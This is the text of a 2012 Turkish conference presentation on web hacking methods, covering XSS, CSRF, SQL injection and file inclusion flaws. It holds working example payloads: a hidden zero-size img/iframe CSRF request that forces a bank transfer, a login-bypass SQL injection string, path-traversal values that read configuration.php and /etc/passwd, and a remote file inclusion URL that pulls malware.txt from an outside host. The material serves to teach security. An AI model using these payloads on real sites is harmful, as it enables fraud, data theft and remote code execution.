08 Eylül 2012 tarihinde Haliç Kongre ve Kültür Merkezi'nde gerçekleştirmiş olduğumuz "Web Saldırıları ve Web Güvenliği" konferansında "Web Hacking Yöntemleri" konu başlıklı sunumum.
2. • Bilgi Teknolojileri Güvenlik Danışmanı
• White Hat Hacker
• Ethical Hacking Eğitmeni
• Blog Yazarı (www.eyupcelik.com.tr)
• Web Güvenliği Editörü (www.webguvenligi.net)
• LabSec Community - Güvenlik Ekip Lideri
• Anatolia Security - Proje Takım Lideri
• Güvenlik Araştırmacısı (Security Research)
– PacketStormSecurity.org
– Exploit-db.com
– Secunia.com
3. • Web Hacking Yöntemleri
• Bilgi Toplama
• Web Sunucusu, Uygulama, Yazılım Dili, Versiyon Keşfi
• Hata Mesajlarından Bilgi Toplama
• Arama Motorlarından Bilgi Toplama
• Alt Dizin ve Admin Panel Keşfi
• Web Güvenlik Testlerinde Kişisel Proxyler
• OWASP Top 10 Açıklık Rehberi
• XSS, CSRF Açıkları ve Kötüye Kullanımı
• XSS, CSRF Nedir?
• XSS, CSRF Kullanımı
• SQL Injection Zafiyetleri ve Hacking Amaçlı Kullanımları
• SQL Injection ve Blind SQL Injection Nedir?
• SQL – Blind SQL Kullanımı
• SQL Injection Örnekleri
• Arama Motorlarından Zafiyet Arama
• Havij, Sqlmap, SQL Finder, Pangolin
• File Inclusion Zafiyetleri ve Hacking Amaçlı Kullanımları
• Local File Inclusion (LFI)
• Remote File Inclusion (RFI)
• Web Shell
• Web Shell Kavramları ve Kullanım Amaçları
• PHP, ASP, JSP, ASP.NET Shell Çeşitleri
12. • Web Hacking Yöntemleri
• Bilgi Toplama
• Web Sunucusu, Uygulama, Yazılım Dili, Versiyon Keşfi
• Hata Mesajlarından Bilgi Toplama
• Arama Motorlarından Bilgi Toplama
• Alt Dizin ve Admin Panel Keşfi
• Web Güvenlik Testlerinde Kişisel Proxyler
• OWASP Top 10 Açıklık Rehberi
• XSS, CSRF Açıkları ve Kötüye Kullanımı
• XSS, CSRF Nedir?
• XSS, CSRF Kullanımı
• SQL Injection Zafiyetleri ve Hacking Amaçlı Kullanımları
• SQL Injection ve Blind SQL Injection Nedir?
• SQL – Blind SQL Kullanımı
• SQL Injection Örnekleri
• Arama Motorlarından Zafiyet Arama
• Havij, Sqlmap, SQL Finder, Pangolin
• File Inclusion Zafiyetleri ve Hacking Amaçlı Kullanımları
• Local File Inclusion (LFI)
• Remote File Inclusion (RFI)
• Web Shell
• Web Shell Kavramları ve Kullanım Amaçları
• PHP, ASP, JSP, ASP.NET Shell Çeşitleri
13.
14. • Sunucuya gönderilen yazılım betiklerinin (script) kullanıcının tarayıcısında çalıştığı bir
saldırı türüdür.
• PHP-ASP-ASP.NET Sayfalarında sıklıkla görülür.
• Genellikle POST ve GET metotlarının kullanıldığı alanlarda olur.
• Yazılım betiklerinin kullanıcı tarafında çalıştırılması sonucunda oturum bilgileri
çalınabilir, bilgisayarına zararlı kodlar enjekte edilebilir ve bilgisayar yönetimi ele
geçirilebilir.
• En çok karşılaşılan güvenlik zafiyetidir!
16. • URL adreslerindeki querystringler ve form alanlarında sıklıkla görülür.
• En çok karşılaşılan XSS saldırı türevidir.
• Kullanıcı taraflı çalışır.
• Phishing saldırılarına zemin oluşturur.
17. • Forumlar, ziyaretçi defterleri gibi alanlarda sıklıkla görülür.
• XSS kodları database sunucusuna kaydedilir.
• Kullanıcılar sayfaya eriştiklerinde XSS kodları çalışır ve amaca hizmet eder.
18. • XSS saldırısına benzer
• Web uygulamasının oturum zaman aşımlarını kullanmamasından kaynaklanır.
• XSS saldırılarının aksine CSRF saldırıları kullanıcı bazlıdır.
• Bu saldırı türünde, kullanıcının isteği dışında kullanıcıya işlemler yaptırılır.
• Banka hesaplarından para transferi, uygulama yetki yükseltme saldırıları gibi bir
çok işlem bu saldırı yöntemi ile yapılabilmektedir.
• Saldırganın amacı; yetkisi olmayan alanlarda istediği işlemi yetkisi olan bir
kullanıcıya yaptırmaktır.
• Örneğin; ING Direct bankasında bulunan CSRF zafiyeti, kullanıcının belirtilen
hesaba para transfer etmesini sağlamaktaydı.
19. • Web sitesinde oturum açan bir kullanıcı, eğer aynı zamanda zararlı kodun
bulunduğu sayfaya erişirse, hesabından başka bir hesaba para aktarılıyor
• Kullanıcı uygulamayı açtıktan sonra, zararlı sayfada
http://www.banka.com/ParaYollar.php?Gonderen=Eyup&Alici=Ismail&Miktar=500
&submit=1 kodu çalıştırılır.
• Bunun için saldırgan yukarıda bulunan kodu sayfasında <img> veya <iframe>
tagları arasına yerleştirir.
• Bu tagler kullanıcının görmemesi için
<img src=‚http://www.banka.com/ParaYollar.php?Gonderen=Eyup&Alici=Ismail&Miktar=500&submit=1‛
width=‚0‛ height=‚0‛> şeklinde yada
<iframe src=‚http://www.banka.com/ParaYollar.php?Gonderen=Eyup&Alici=Ismail&Miktar=500&submit=1‛
width=‚0‛ height=‚0‛> şeklinde olacaktır.
• Bu kodlar kullanıcı tarafında çalışınca, Eyup adlı kullanıcın hesabından Ismail
adlı kullanıcın hesabına 500 TL aktarmış olacaktır.
20. • Web Hacking Yöntemleri
• Bilgi Toplama
• Web Sunucusu, Uygulama, Yazılım Dili, Versiyon Keşfi
• Hata Mesajlarından Bilgi Toplama
• Arama Motorlarından Bilgi Toplama
• Alt Dizin ve Admin Panel Keşfi
• Web Güvenlik Testlerinde Kişisel Proxyler
• OWASP Top 10 Açıklık Rehberi
• XSS, CSRF Açıkları ve Kötüye Kullanımı
• XSS, CSRF Nedir?
• XSS, CSRF Kullanımı
• SQL Injection Zafiyetleri ve Hacking Amaçlı Kullanımları
• SQL Injection ve Blind SQL Injection Nedir?
• SQL – Blind SQL Kullanımı
• SQL Injection Örnekleri
• Arama Motorlarından Zafiyet Arama
• Havij, Sqlmap, SQL Finder, Pangolin
• File Inclusion Zafiyetleri ve Hacking Amaçlı Kullanımları
• Local File Inclusion (LFI)
• Remote File Inclusion (RFI)
• Web Shell
• Web Shell Kavramları ve Kullanım Amaçları
• PHP, ASP, JSP, ASP.NET Shell Çeşitleri
21. • Veritabanından sorgulamalar yapılırken, sorgulara bazı karakterlerin (‘)
eklenerek yetkisiz sorgulamalar yapılmasıdır.
• SQL injection yöntemi ile sql sunucusunda bulunan verilere
erişilebilir, değiştirilebilir , silinebilir
• SQL Injection son zamanlarda en tehlikeli saldırı türlerinden biri haline geldi.
• Web uygulamalarında bulunan SQL sorgularının doğru bir şekilde analiz
edilmeden SQL sunucusuna aktarılmasından kaynaklanan bir saldırı türüdü
• SQL’de iki tek tırnak (‘) yan yana gelince arada bulunan kodlar ‚string‛ olarak
kabul edilir.
• Örneğin; bir userın form alanına giriş yapacağı zaman girmiş olduğu input
değerler kontrol edilirken sql cümlecikleri kullanılır.
• SELECT * from kullanicilar where isim=‘eyup’ and sifre=‘x9x9’
• Böyle bir durumda, kullanıcılar tablosunda bulunan isim kolonunda ‚eyup‛ varsa
ve sifre kolonıundaki şifresi de eğer ‚x9x9‛ ise kullanıcı oturum açmış olacaktır.
• Kullanıcının form alanına girmiş olduğu input veriler where koşuluna
atanmaktadır.
22. • Bu mantıkla çalışan bir sitede sql injection saldırısı yapacaksak eğer, bize
kullanıcı adı ve şifreyi her zaman döndürecek bir koda ihityacımız olacaktır.
• Select * from kullanicilar where isim=‘’ OR ‘’ = ‘’ and sifre= ‘’ OR ‘’ = ‘’
• Kullanıcılar tablosundaki isim kolonu ve sifre kolonu boş olan kullanıcıları
istemiş olduk.
23. • ODBC (Open Database Connectivity) verikaynakları üzerinde veri taşımaya
yarayan bir araçtır.
• Bu işlemi verikaynağı ve uygulama arasında bir katman oluşturarak
gerçekleştirir.
• Error Based SQL Injection saldırıları, ODBC’nin verdiği hatalardan faydalanarak
verilere erişmeye çalışır.
• Çoğunlukla SQL Union operatöründen faydalanılarak bu hata verilerine erişilir.
24. • SQL injectionda kullanılan karakterlerin sonuç vermediği durumlarda kullanılan
bir saldırı yöntemidir.
• Bu yöntem alınan hataların True veya False kısmı ile ilgilenir.
• SQL üzerinde yapılan sorgulamaların doğru veya yanlış olduğu sonuçlarını bize
geri döndürür.
• Blind SQL Injection ile yapılan yöntemler deneme-yanılma yöntemi ile yapılır.
25.
26.
27.
28. • Web Hacking Yöntemleri
• Bilgi Toplama
• Web Sunucusu, Uygulama, Yazılım Dili, Versiyon Keşfi
• Hata Mesajlarından Bilgi Toplama
• Arama Motorlarından Bilgi Toplama
• Alt Dizin ve Admin Panel Keşfi
• Web Güvenlik Testlerinde Kişisel Proxyler
• OWASP Top 10 Açıklık Rehberi
• XSS, CSRF Açıkları ve Kötüye Kullanımı
• XSS, CSRF Nedir?
• XSS, CSRF Kullanımı
• SQL Injection Zafiyetleri ve Hacking Amaçlı Kullanımları
• SQL Injection ve Blind SQL Injection Nedir?
• SQL – Blind SQL Kullanımı
• SQL Injection Örnekleri
• Arama Motorlarından Zafiyet Arama
• Havij, Sqlmap, SQL Finder, Pangolin
• File Inclusion Zafiyetleri ve Hacking Amaçlı Kullanımları
• Local File Inclusion (LFI)
• Remote File Inclusion (RFI)
• Web Shell
• Web Shell Kavramları ve Kullanım Amaçları
• PHP, ASP, JSP, ASP.NET Shell Çeşitleri
29. • Web sitesinde bulunan kodlama hatalarından (include, require) meydana gelir
• Sunucuda bulunan dosyaların çağrılmasına ve okunabilmesine olanak verir
• Sadece bulunduğu siteyi değil, sunucuda bulunan tüm siteleri etkileyebilir!
• index.php?SayfaAc=iletisim.php
• index.php?SayfaAc=../../configuration.php
• index.php?SayfaAc=../../../../etc/passwd
• index.php?SayfaAc=../../../boot.ini
30. • Web sitesinde bulunan kodlama hatalarından (include, require) meydana gelir
• RFI saldırılarında en büyük etken değişkene değer atanmamasıdır!
• Tanımlanmış ancak değer atanmamış olan değişkene dışardan değer aktarılması
ile oluşur.
• Sadece bulunduğu siteyi değil, sunucuda bulunan tüm siteleri etkileyebilir!
• include($deger‛.php‛)
• index.php?deger=http://www.site.com/malware.txt